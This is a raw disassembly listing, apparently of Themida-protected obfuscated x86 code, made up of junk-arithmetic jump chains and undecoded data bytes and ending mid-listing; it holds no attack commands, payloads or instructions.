Themida_:00542E5Fj mov ebx, 626C131Eh and esi, ebx jmp loc_554B54 ; --------------------------------------------------------------------------- db 80h dd 0C980F5E9h, 0D8C180DFh, 59CE00h, 0AF17E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF66: ; CODE XREF: Themida_:005542C3j add ebx, 4 jmp loc_55328F ; --------------------------------------------------------------------------- loc_54AF6E: ; CODE XREF: Themida_:00545905j push ebx mov bl, 99h push ecx mov ch, 21h sub bl, ch jmp loc_5467CE ; --------------------------------------------------------------------------- loc_54AF7B: ; CODE XREF: Themida_:00554F91j add edx, edi pop edi pop ebx sub esp, 4 mov [esp], esi push eax jmp loc_556769 ; --------------------------------------------------------------------------- loc_54AF8B: ; CODE XREF: Themida_:0054BBB9j xchg edi, [esp] pop esp mov [esp], edx mov edx, 4 push ebp mov ebp, 7C4A2913h jmp loc_55430F ; --------------------------------------------------------------------------- loc_54AFA2: ; CODE XREF: Themida_:0054E994j push cx pushf jmp loc_541B1F ; --------------------------------------------------------------------------- dw 15Ah dd 0EC815BDDh, 4, 0FF242C89h, 8B042474h, 0C483242Ch, 24AFE904h dd 0F3B30000h, 5B66DE00h, 0A7E9DEF6h, 81000083h, 4C4h dd 3CA8E900h db 2 dup(0) word_54AFDE dw 8B66h ; DATA XREF: Themida_:00541AC8o dd 5C68240Ch, 8900005Eh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_544A8E ; --------------------------------------------------------------------------- dw 0F756h dd 505E2414h, 198FBB53h, 0EDB816FAh, 3135C16Ch, 75FAE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B00A: ; CODE XREF: Themida_:00550FD6j mov [esp], ebx mov ebx, 0FF5EFFE2h add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_54BD99 ; --------------------------------------------------------------------------- aIQ4BS db '‰<$Q¹Í',27h,'#4¿´Ç¡ éµ²',0 align 2 dw 0E95Ah dd 0FFFFDC9Ah, 0EAC1DAF7h, 18CA8104h, 8179AB51h, 2B125F2h dd 0E9D72967h, 0FFFF8060h, 842259BBh, 0C3814B10h, 262321BCh dd 0BA5BDF89h, 26743B8Bh, 243BC281h, 0FA012FDDh, 243BEA81h dd 3C8B2FDDh, 4C48124h, 0BB000000h, 5D1B7F9Bh, 295AD331h dd 0C2E95BDDh db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B08B: ; CODE XREF: Themida_:005520C4j and edx, eax pop eax and edx, 392C6B6Dh sub esp, 4 mov [esp], eax mov eax, 4715629Eh shr eax, 8 jmp loc_542E15 ; --------------------------------------------------------------------------- loc_54B0AA: ; CODE XREF: Themida_:00543094j sub ebx, esi jmp loc_54C309 ; --------------------------------------------------------------------------- db 29h, 0FAh, 5Fh dd 0C281C201h, 37C155F1h, 8324048Bh, 148704C4h, 24248B24h dd 240C8B66h, 423C68h, 0B86FE900h, 360D0000h, 50B5D49h dd 0A1640C2h, 0F39DF52Dh, 8BC50155h, 0C4832404h, 4ED8104h dd 87000000h, 0E95C242Ch, 0FFFF75E6h, 8924248Bh, 0E953240Ch dd 1EA5h, 8B242C87h, 0EC812424h, 4, 68243489h, 0C5Ch, 0FF240489h dd 685E2434h, 122Ch, 89240489h, 405E0h, 68560000h, 2E1Bh dd 5D67E9h, 241C8900h, 2BBh, 0E9DA0100h, 1695h ; --------------------------------------------------------------------------- loc_54B14C: ; CODE XREF: Themida_:00541B96j pop esp mov [esp], ecx sub esp, 4 mov [esp], esp jmp loc_549F82 ; --------------------------------------------------------------------------- dw 0C188h dd 2EE9CB88h, 89FFFFCCh, 6E9240Ch, 83FFFF87h, 0BE5604C4h dd 43AE4A69h, 76F6814Eh, 815D7816h, 0AA173FCEh, 5EEC15Ch dd 9BDEF681h, 0F32937E7h, 613EE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B196: ; CODE XREF: Themida_:00548685j mov [esp], edx jmp loc_549916 ; --------------------------------------------------------------------------- dw 248Bh dd 10DBE924h, 0C83B0000h, 6971E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1AE: ; CODE XREF: Themida_:00555573j sub ebx, 7F5163DCh sub ebx, 2E982888h sub esp, 4 mov [esp], edi mov edi, 37453C2Ah push ebp mov ebp, 5C1A524Fh sub ebp, 7E2C7F2Bh jmp loc_5483AC ; --------------------------------------------------------------------------- loc_54B1D9: ; CODE XREF: Themida_:0054850Aj pop ebp jmp loc_555CB0 ; --------------------------------------------------------------------------- db 56h dd 0FF8665E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1E5: ; CODE XREF: Themida_:0054A76Cj pop edx add esp, 4 sub ecx, 0CC767B3h sub ecx, ebx add ecx, 0CC767B3h mov ebx, [esp] push edx mov edx, esp jmp loc_54E41D ; --------------------------------------------------------------------------- loc_54B202: ; CODE XREF: Themida_:0054DB47j add esp, 4 add edi, ebp mov ebp, [esp] jmp loc_54926A ; --------------------------------------------------------------------------- dw 0EAC1h dd 0BCC28108h, 0E9FFAC8Fh, 6723h, 4C581h, 0F8E90000h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B22B: ; CODE XREF: Themida_:00551A18j push ecx jmp loc_546EA4 ; --------------------------------------------------------------------------- db 0B2h, 0DEh, 0E9h dd 7A1Ch ; --------------------------------------------------------------------------- loc_54B238: ; CODE XREF: Themida_:0054648Dj mov edx, 4 jmp loc_5549CA ; --------------------------------------------------------------------------- loc_54B242: ; CODE XREF: Themida_:00552C4Fj pop ebx push 2308h jmp loc_556517 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 0E9580000h, 0FFFFA9EDh, 68E9C301h, 53000010h, 5B2414F7h dd 248FE9h db 0 ; --------------------------------------------------------------------------- loc_54B269: ; CODE XREF: Themida_:00555E0Aj xchg ebx, [esp] pop esp mov [esp], edx push 0FCF4F31h pop edx jmp loc_548E92 ; --------------------------------------------------------------------------- db 89h dd 0A6E9240Ch db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B283: ; CODE XREF: Themida_:0054B9CFj sub ecx, edx pop edx xchg ecx, [esp] jmp loc_5450B9 ; --------------------------------------------------------------------------- loc_54B28E: ; CODE XREF: Themida_:0054B434j sub esi, 1D4881BDh add ebp, esi pop esi jmp loc_542BDB ; --------------------------------------------------------------------------- loc_54B29C: ; CODE XREF: Themida_:005523B6j add esp, 4 push ebx jmp loc_54A860 ; --------------------------------------------------------------------------- dd 6EE9CF01h, 68000067h, 2DA4h, 52240489h, 7B398CBAh, 5AD08973h dd 4558C501h, 5702EDC1h, 8FBAE9h db 0 byte_54B2CD db 66h, 8Bh, 4 ; DATA XREF: Themida_:005419ACo dd 0E2895224h, 32C5BE56h, 0F8E91CF6h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B2DF: ; CODE XREF: Themida_:0054CE37j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54B86A ; --------------------------------------------------------------------------- loc_54B2F4: ; CODE XREF: Themida_:0054FB3Cj push 4613h mov [esp], ebp mov ebp, 5C9D1922h push 0A05h mov [esp], ebx mov ebx, 239958B3h jmp loc_546D49 ; --------------------------------------------------------------------------- db 31h dd 12E92434h, 89FFFF93h, 0A97DE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B322: ; CODE XREF: Themida_:005451A8j pop edi xchg eax, [esp] pop esp or edx, eax shl edx, 1 push ebx mov ebx, 24h sub ebx, 6AEA09F7h add ebx, edi add ebx, 6AEA09F7h jmp loc_549417 ; --------------------------------------------------------------------------- dd 4244481h, 489B5982h, 4244481h, 48B930EAh, 405585Ah dd 56000000h, 21268h, 242C8900h, 0C14B01BDh, 0B5016807h dd 0B8E9F83Eh, 58000078h, 3768BD55h, 0EA291380h, 6AC2815Dh dd 0E954C152h, 0FFFFBC4Ah, 0A67CE954h, 48BFFFFh, 4C48324h dd 8105E2C1h, 0CC89C2F2h, 11C181A8h, 1354652h, 0A65AE9D1h dd 0E941FFFFh, 0FFFFA2A1h, 1B8h, 58C30100h, 6EA3E9h, 4BA00h dd 0ADE90000h, 89FFFFD0h, 0BA52240Ch, 2B9A3CF4h, 9A3CF8B9h dd 5AD1292Bh, 4244C01h, 81240C8Bh, 4C4h, 2434FF00h, 4C4815Ah dd 0E9000000h, 0FFFFDE71h ; --------------------------------------------------------------------------- loc_54B3F4: ; CODE XREF: Themida_:00548C43j mov ebx, 0F8BCBF5Ch sub ebp, 1C5C7524h sub ebp, ebx add ebp, 1C5C7524h mov ebx, [esp] add esp, 4 add eax, ebp pop ebp sub eax, edi sub eax, 4F5856E0h push dword ptr [esp] pop edi push ebp push esp pop ebp push esi mov esi, 4340231Eh not esi shr esi, 2 add esi, 0B610C4Ah shr esi, 1 jmp loc_54B28E ; --------------------------------------------------------------------------- db 2Dh, 29h, 78h dd 0F8297ACEh, 0CE782905h, 243C8B7Ah, 0E9E28952h, 0FFFFAD8Ch dd 0C181E189h, 4, 4BE56h, 2EE90000h, 81FFFFDCh, 4EBh, 241C3300h dd 0FF9D03E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B471: ; CODE XREF: Themida_:00545211j push ecx mov ecx, 7C4539A9h add edx, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub edx, 0F960685h jmp loc_54A0BD ; --------------------------------------------------------------------------- dd 0E0C38159h, 0E9081065h, 1ABFh, 4EC815Ah, 89000000h dd 0E0892404h, 405h, 80ECE900h, 48BFFFFh, 0B45DE924h, 0EA81FFFFh dd 0A4C219Dh, 0F8B8C281h, 2FE9C07Eh db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B4D3: ; CODE XREF: Themida_:005443A1j mov esi, esp add esi, 4 push ecx push edx mov edx, 4 mov ecx, edx pop edx add esi, ecx pop ecx xchg esi, [esp] pop esp add bl, al sub bl, 59h jmp loc_549A50 ; --------------------------------------------------------------------------- dw 3489h dd 8A02E924h, 0B60FFFFFh, 8734FFC0h, 0FF6616E9h, 4BB652FFh dd 0E4E9F428h, 80FFFFE6h, 0CAE90BF3h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B51B: ; CODE XREF: Themida_:005463E8j add esp, 4 mov eax, [esp] jmp loc_550A7F ; --------------------------------------------------------------------------- dw 431h dd 0F0E99C24h, 50FFFF65h, 4D5809B8h, 0E9C20108h, 0FFFFA466h dd 55D1F759h, 0EC0CC1BDh, 5DE92961h, 971EE9h db 0 ; --------------------------------------------------------------------------- loc_54B54D: ; CODE XREF: Themida_:00549DCCj add edi, 0E03AF280h jmp loc_54646E ; --------------------------------------------------------------------------- loc_54B558: ; CODE XREF: Themida_:005510E0j push edi mov edi, 4 add esi, edi pop edi add esi, 4 xchg esi, [esp] jmp loc_5423A2 ; --------------------------------------------------------------------------- db 51h dd 0E652DEB9h, 3AE98102h, 8149EE1Dh, 0F24E60F1h, 5E9C11Dh dd 1C80E9h, 13D5BB00h, 15E948B0h, 21FFFFBBh, 0BE5659CBh dd 72D96E39h, 7601C681h, 0C6816DFDh, 4E6072Fh, 1EE81h dd 5AE90000h, 5C000041h, 0E9241C89h, 598Fh, 0E9240487h dd 0FFFF6D3Ch, 8145CD87h, 0C27183EDh, 0CFB951F8h, 2113B36Ch dd 33E959CDh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B5DB: ; CODE XREF: Themida_:00544081j add al, 68h pop edx push eax push ecx mov cl, 0A4h push edx jmp loc_5557D2 ; --------------------------------------------------------------------------- loc_54B5E8: ; CODE XREF: Themida_:005487C8j push dword ptr [esp] pop edx add esp, 4 mov [ebx], cl pop ecx push dword ptr [esp] pop ebx add esp, 4 jmp loc_541B1F ; --------------------------------------------------------------------------- dd 0D224248Bh, 0E99C242Ch, 0FFFF650Fh, 69F3815Bh, 8155F34Dh dd 3634DF3h, 7F91E919h, 0E6890000h, 4C681h, 0C6810000h dd 4, 9903E9h db 0 ; --------------------------------------------------------------------------- loc_54B635: ; CODE XREF: Themida_:00554444j add ebx, 15CE5200h xor eax, [ebx] jmp loc_54EA53 ; --------------------------------------------------------------------------- loc_54B642: ; CODE XREF: Themida_:0054F530j mov ebp, 4 jmp loc_54795E ; --------------------------------------------------------------------------- loc_54B64C: ; CODE XREF: Themida_:005529E5j dec dword ptr [edi+20h] jmp loc_54786D ; --------------------------------------------------------------------------- dd 8B665A66h, 6851241Ch, 7980h, 819CE9h, 53C5FE00h, 0C7FE6FB7h dd 0C7FED7F6h, 8003E7C0h, 0E9E999C7h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B67B: ; CODE XREF: Themida_:0054AD3Ej shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax xchg ebp, [esp] push edx mov edx, esp sub esp, 4 mov [esp], ecx jmp loc_553320 ; --------------------------------------------------------------------------- loc_54B69A: ; CODE XREF: Themida_:00551FA4j mov edi, [esp] add esp, 4 or eax, eax jz loc_556A97 push 9BFh mov [esp], ebx mov ebx, 1Ch sub ebx, 15660E6Ah add ebx, edi push ebp push 17FC1053h pop ebp add ebp, 3932245Fh neg ebp or ebp, 78B31268h jmp loc_554E37 ; --------------------------------------------------------------------------- db 88h dd 0D08858C2h, 0C188515Ah, 5859CE88h, 0B6E9CEFEh db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6EB: ; CODE XREF: Themida_:0054DD68j sub esi, 54620974h add esi, 0D753DA1h sub esi, 182F5491h jmp loc_551D98 ; --------------------------------------------------------------------------- dw 483h dd 68E90424h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B70B: ; CODE XREF: Themida_:0054FA12j add edi, eax push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or ebp, edi jmp loc_54AA94 ; --------------------------------------------------------------------------- loc_54B729: ; CODE XREF: Themida_:00542F13j inc esi xor esi, 7630238Fh push ebx jmp loc_54E57C ; --------------------------------------------------------------------------- dw 158h dd 19D368F3h, 34890000h, 4CEBE24h, 0F329326Ah, 8324348Bh dd 348B04C4h, 7E95524h, 81000009h, 521B9FEEh, 81CE012Ah dd 521B9FC6h, 0EC83592Ah, 242C8904h, 7B03E952h, 835E0000h dd 0F00904C4h, 3A95E95Eh, 54560000h, 41BD555Eh, 814C8B14h dd 580704CDh, 0F7F5877Ch, 346855D6h, 0E900005Ch, 174Bh dd 8B241487h, 1C892424h, 5E5B5624h, 46F3875Eh, 0EB83F387h dd 27F381FFh, 818048C5h, 277AB3E9h, 0E9D9014Bh, 61FFh dd 48E9E800h, 87FFFF6Eh, 845C2434h, 48E99CC8h, 83FFFF63h dd 0EE8104C4h, 2C3C6833h, 92E95657h, 81FFFF93h, 9441C6EFh dd 0CF015935h, 4ECCEF81h, 0BD555944h, 60734320h, 595DEF01h dd 2C781h, 54E90000h, 5B0000A6h, 0DEC7815Fh, 5810D733h dd 0E95FFB01h, 5E53h ; --------------------------------------------------------------------------- loc_54B81C: ; CODE XREF: Themida_:005452D7j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_54474E ; --------------------------------------------------------------------------- dd 68241C89h, 660h, 81242489h, 42404h, 1C8B0000h, 4C48124h dd 68000000h, 61B3h, 2F90E9h, 0FAEB8100h, 1FD5962h, 1655E9D9h dd 14890000h, 0E9A9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B86A: ; CODE XREF: Themida_:0054B2EFj add esi, 721071Eh jmp loc_54CA4F ; --------------------------------------------------------------------------- loc_54B875: ; CODE XREF: Themida_:00554BDFj push ebx jmp loc_54BF00 ; --------------------------------------------------------------------------- db 5Bh dd 0FF7925E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B881: ; CODE XREF: Themida_:0054873Bj mov ebp, 0CE9EB723h jmp loc_54EBEC ; --------------------------------------------------------------------------- db 0BAh dd 4, 752AE9h, 243C8900h, 6246E9h, 4BB00h, 0DA010000h dd 0FFD7C7E9h, 0E9EA01FFh, 67CCh, 463C780h, 0E80AE94Dh dd 4B8FFFFh, 29000000h, 0FA6858C3h, 0E9000054h, 5422h dd 11346866h, 24048966h, 0FF6246E9h, 8E3C1FFh, 77FDE943h dd 0C1450000h, 0E58102E5h, 7D821A96h, 0FF87E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B8F1: ; CODE XREF: Themida_:0054806Ej xor ebx, edx xor edx, ebx xor ebx, edx dec edx xchg edx, ebx sub ebx, 2D82F91h xor ebx, 656E01C8h sub ebx, 1816C56Bh push ebx sub esp, 4 jmp loc_54DF9F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0EF4A3FBEh, 5EF0897Ah, 884D392Dh, 0A013E933h, 0F281FFFFh dd 7FFF7F7Dh, 7EE9E9h db 0 ; --------------------------------------------------------------------------- loc_54B935: ; CODE XREF: Themida_:0055431Cj add edi, 3BDE1CD3h pop edx xchg edi, [esp] pop esp mov [esp], eax mov eax, 4 jmp loc_547097 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C2404D3h, 0FF61C6E9h, 0A7E95AFFh, 81000035h, 4C4h dd 0EDEB8100h, 8148DD60h, 813E5CEDh, 15C5813Ch, 8150A626h dd 5A1708C5h, 81DD0121h, 5A1708EDh, 15ED8121h, 5750A626h dd 0D0745ABFh, 0E7C14729h, 0D6BB5306h, 2156EA35h, 0C7815BDFh dd 0D6B7E4Ah, 0AA6FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9AA: ; CODE XREF: Themida_:0054ABA9j add ebp, 2 xchg ebp, [esp] pop esp xor [esp], dx jmp loc_542E7B ; --------------------------------------------------------------------------- loc_54B9BA: ; CODE XREF: Themida_:00555B40j push ebx jmp loc_542C50 ; --------------------------------------------------------------------------- loc_54B9C0: ; CODE XREF: Themida_:0054E6D7j push eax jmp loc_55059C ; --------------------------------------------------------------------------- loc_54B9C6: ; CODE XREF: Themida_:00552CB3j shl edx, 4 sub edx, 34B3845Ch jmp loc_54B283 ; --------------------------------------------------------------------------- dd 83240C8Bh, 1E6804C4h, 89000013h, 88E92434h, 0FF00006Fh dd 8B042474h, 0C483243Ch, 24048F04h, 0E924248Bh, 0FFFFACA4h dd 0EF81EF29h, 53D44BE0h, 0DCC7815Dh, 8139579Fh, 0F146DAC5h dd 81FD0116h, 0F146DAEDh, 243C8B16h, 81E38953h, 4ECh, 243C8900h dd 740550BFh, 4E7C127h, 0EF81D7F7h, 88BFAAFBh, 3C8BFB01h dd 4C48324h, 4C381h, 1C870000h, 24248B24h, 0AA01E9h, 74FF5600h dd 8F5E0424h, 0C8B2404h, 4C48124h, 81000000h, 0D76B5CC9h dd 0A5BA5208h, 0E9F7E3C2h, 0FFFFDBEDh, 6077C581h, 0ED815B95h dd 1942699Dh, 786DE981h, 0E9291923h, 786DC181h, 2D5D1923h dd 4DB1307Ah, 33B3E9h, 2434FF00h, 9BD5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAA2: ; CODE XREF: Themida_:0054833Aj pop ecx shr eax, 3 neg eax jmp loc_54301D ; --------------------------------------------------------------------------- db 81h, 0C7h, 46h dd 0FF0DA749h, 575A2434h, 0C781E789h, 4, 4B850h, 0BDE90000h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BACB: ; CODE XREF: Themida_:005442C6j push dword ptr [esp] pop ebp push 38BFh mov [esp], ebp push 50D7h jmp loc_544525 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 68241C89h, 26A0h, 3BD5E9h db 0 ; --------------------------------------------------------------------------- loc_54BAF1: ; CODE XREF: Themida_:005428FCj mov edx, esp jmp loc_545D9A ; --------------------------------------------------------------------------- dd 0F552E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAFE: ; CODE XREF: Themida_:00555F0Cj sub edi, eax pop eax xor edi, 3D3C7AFh mov ebx, edi mov edi, [esp] jmp loc_54D2FC ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324148Bh, 0C48304C4h, 8757E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB22: ; CODE XREF: Themida_:00549F70j sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_54FF1F ; --------------------------------------------------------------------------- loc_54BB32: ; CODE XREF: Themida_:0055454Cj xchg esi, [esp] jmp loc_54ED46 ; --------------------------------------------------------------------------- dw 0CE21h dd 15CE8159h, 0E94FAB1Ch, 0FCEh, 30243C32h, 99E9243Ch dd 5B000024h, 0E9241487h, 2F5Ah ; --------------------------------------------------------------------------- loc_54BB5C: ; CODE XREF: Themida_:00547FDDj add edi, 4 push ebp push 4 pop ebp jmp loc_544DB7 ; --------------------------------------------------------------------------- loc_54BB6E: ; CODE XREF: Themida_:00542C30j pop ebx jmp loc_555B45 ; --------------------------------------------------------------------------- dword_54BB74 dd 525E2CACh, 8878B353h, 0EEC05BDEh, 0E9536605h, 0FFFFF43Eh ; DATA XREF: Themida_:005418C4o dd 7EE9C701h, 1FFFFB5h, 0AEE95EF3h, 0BD000098h, 30510E97h dd 78E5C581h, 0DDF70EAEh, 0FF9147E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BBA9: ; CODE XREF: Themida_:005517BCj pop ecx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_54AF8B ; --------------------------------------------------------------------------- aBquRqstp db 'ïu~qéT',0 dd 49C76800h, 34890000h, 678BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBD6: ; CODE XREF: Themida_:00550C90j push edi jmp loc_5520E7 ; --------------------------------------------------------------------------- dd 3EC2BF66h, 66FB0966h, 0EB81665Fh, 31660882h, 2434FFD8h dd 4C4815Bh, 83000000h, 348904ECh, 0B8665024h, 0AAE90B27h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BC07: ; CODE XREF: Themida_:00544757j pop eax xor ecx, eax jmp loc_54F9F3 ; --------------------------------------------------------------------------- loc_54BC0F: ; CODE XREF: Themida_:0054A92Dj push dword ptr [esp] jmp loc_54FA70 ; --------------------------------------------------------------------------- loc_54BC17: ; CODE XREF: Themida_:005446ADj xor eax, 7A8C1D09h sub ebx, eax pop eax sub ebx, 6B3964FDh add ebx, ecx push ebp mov ebp, 6B3964FDh jmp loc_54EB0C ; --------------------------------------------------------------------------- aNhq db 'hQ~',0 ; DATA XREF: Themida_:005418DCo align 4 dd 0BE243489h, 1EF36401h, 0FF6A2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BC45: ; CODE XREF: Themida_:00550EB8j push ebp mov ebp, 24h push ebx jmp loc_555DFB ; --------------------------------------------------------------------------- loc_54BC51: ; CODE XREF: Themida_:0054252Dj push ebp mov ebp, 66CD761Ch mov edi, 0DB5BA200h sub edi, 9AF064Fh add edi, 3C117384h add edi, ebp sub edi, 3C117384h add edi, 9AF064Fh pop ebp push ebp sub esp, 4 mov [esp], esi push 76E074BCh pop esi sub esi, 0F9AE2696h jmp loc_5431E2 ; --------------------------------------------------------------------------- db 81h dd 31365BE9h, 50535E40h, 421D668h, 2CBB585Ch, 0E9A3FBDEh dd 0FFFFD9C0h ; --------------------------------------------------------------------------- loc_54BCA8: ; CODE XREF: Themida_:00550F46j mov [esp], edx push 1CADh mov [esp], ebx push 2F432D1Fh jmp loc_54806D ; --------------------------------------------------------------------------- aBZ6ZsV db 'ÁZ6ÑZé)‚',0 align 4 dd 89242C89h, 4C02E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCD2: ; CODE XREF: Themida_:00541BD9j push dword ptr [esp] pop ebp add esp, 4 jmp loc_54C92C ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4A8E9h, 39AEB900h, 0F1816E4Fh, 6E4F39AAh, 0E959CB01h dd 0FFFFF767h dword_54BCFC dd 9D1C77FFh, 11665866h, 0E99C2404h, 31BCh, 4B8h, 0E9C60100h ; DATA XREF: Themida_:00541964o dd 19C2h, 830BBEB9h, 59F18171h, 897B965Bh, 3CEDE9CAh, 0EE810000h dd 2B1A1D3Bh, 0C681DE29h, 2B1A1D3Bh, 81E28952h, 4C2h, 4EA8100h dd 0E9000000h, 0FFFFFA50h ; --------------------------------------------------------------------------- loc_54BD4C: ; CODE XREF: Themida_:0054247Cj not ecx jmp loc_54A980 ; --------------------------------------------------------------------------- db 81h dd 0B78ADC3h, 81CB0145h, 0B78ADEBh, 62685945h, 0E900007Bh dd 4DB8h, 0B75331B1h, 7E7C025h, 0EF80C7FEh, 0FFF930FBh dd 505B2434h, 405E089h, 51000000h, 4B9h, 59C80100h, 5C240487h dd 982BE9h db 0 ; --------------------------------------------------------------------------- loc_54BD99: ; CODE XREF: Themida_:0054B01Aj push eax mov eax, 35C9211Fh jmp loc_5546BD ; --------------------------------------------------------------------------- dd 766520BFh, 8DE1E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDAE: ; CODE XREF: Themida_:0055032Aj add esp, 4 shr ecx, 7 push 552Fh mov [esp], ebx push 5ED6h mov [esp], edi push edx push edi mov edi, 39E85A1Dh mov edx, 97138862h sub edx, edi jmp loc_546C56 ; --------------------------------------------------------------------------- db 56h dd 2434FF5Ah, 4C4835Eh, 0FFAA0AE9h, 24148BFFh, 4C481h dd 0E8C00000h, 0F6C88608h, 34C886D1h, 30D72C61h, 2434FFC5h dd 8ED7E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE06: ; CODE XREF: Themida_:0054A34Dj sub esi, eax add esi, 1FD759EBh add esi, 4DDC72D2h pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebx pop eax push ecx mov ecx, 476643B3h xor ecx, 50756FBAh jmp loc_54399B ; --------------------------------------------------------------------------- dw 0E981h dd 47BC57BFh, 0C181D901h, 47BC57BFh, 240C335Bh, 33240C31h dd 99E9240Ch, 68000096h, 3A41h, 68241C89h, 1D5C1B80h, 52241C8Bh dd 0A251E9h, 24348B00h, 602E6852h, 24890000h, 24048124h dd 4, 33FAE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE82: ; CODE XREF: Themida_:0054D4C8j pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_556AAD ; --------------------------------------------------------------------------- db 57h dd 0ABE9E789h, 59FFFFC2h, 685EF701h, 576Dh, 1686E9h, 190D6600h dd 4EC8315h, 66242C89h, 664FD9BDh, 0DFAAED81h, 0FFA358E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BEC9: ; CODE XREF: Themida_:00555533j add edi, 4 add edi, 4 jmp loc_552520 ; --------------------------------------------------------------------------- aI4H db '‰4$h~\',0 align 2 dw 2489h dd 4BD5524h, 1000000h, 0E904246Ch, 8D27h, 0B351C5BFh, 0E9F83164h dd 45D9h ; --------------------------------------------------------------------------- loc_54BF00: ; CODE XREF: Themida_:0054B876j mov ebx, 523A6F1Eh shr ebx, 2 and ebx, 62E73450h inc ebx shl ebx, 1 and ebx, 67137322h jmp loc_548127 ; --------------------------------------------------------------------------- loc_54BF1C: ; CODE XREF: Themida_:00550602j add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp jmp loc_543B7D ; --------------------------------------------------------------------------- dw 295Bh dd 14BB53D8h, 56B4E21h, 29320Fh, 0FFDE45E9h, 7FB305FFh dd 0D135517Dh, 0C111CC40h, 4E0503E0h, 0E906D378h, 366Eh ; --------------------------------------------------------------------------- loc_54BF54: ; CODE XREF: Themida_:00550E9Fj mov dx, [esp] add esp, 2 push eax jmp loc_549C23 ; --------------------------------------------------------------------------- dd 0E955D8F7h, 0FFFFC0F7h, 8302C383h, 1C8904ECh, 2474FF24h dd 241C8B04h, 4C481h, 48F0000h, 5BA9E924h, 2C87FFFFh, 0D685D24h dd 0E9000000h, 3D20h, 203C4FBEh, 0A92BE96Eh, 0C681FFFFh dd 41348007h, 902DE9h, 50E95700h, 5A00000Ah, 14CBE9h, 0F4E95F00h dd 57FFFF92h, 19EEE9h db 0 ; --------------------------------------------------------------------------- loc_54BFC5: ; CODE XREF: Themida_:00550AF5j add esi, 5BC86B39h mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 4668h mov [esp], esi push dword ptr [esp] jmp loc_548B4B ; --------------------------------------------------------------------------- dd 81C7015Eh, 2614DFEFh, 0B951583Bh, 4, 0C8BCF01h, 0D9A8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C00A: ; CODE XREF: Themida_:0054CCDFj push 0 add dword ptr [esp], 2FE510F9h add dword ptr [esp], 68E75A98h sub [esp], ebx sub dword ptr [esp], 68E75A98h push esi mov esi, 2FE510F9h sub dword ptr [esp+4], 1100067h sub [esp+4], esi add dword ptr [esp+4], 1100067h pop esi pop ebx push edi mov edi, 9F15A81h add ebx, edi pop edi sub ebx, 86199BC0h jmp loc_54A67D ; --------------------------------------------------------------------------- db 5Fh dd 817BE950h, 0E589FFFFh, 4C581h, 0C5810000h, 4, 8B242C87h dd 0C3832424h, 241C3302h, 0E9241C31h, 8844h ; --------------------------------------------------------------------------- loc_54C080: ; CODE XREF: Themida_:00546DEBj neg eax not eax inc eax shl eax, 8 jmp loc_54A8BC ; --------------------------------------------------------------------------- db 2Dh, 0DDh, 39h dd 0A3E96F78h, 1FFFF74h, 0AFE1E9C1h, 0C683FFFFh, 24348704h dd 3241E9h, 40500h, 0C0830000h, 24048704h, 8F24248Bh, 8EE92404h dd 89FFFFF8h, 0B0BD242Ch, 1351D0Fh, 0EA015DEAh, 7011BF57h dd 8147059Ah, 0D5DF6C7h, 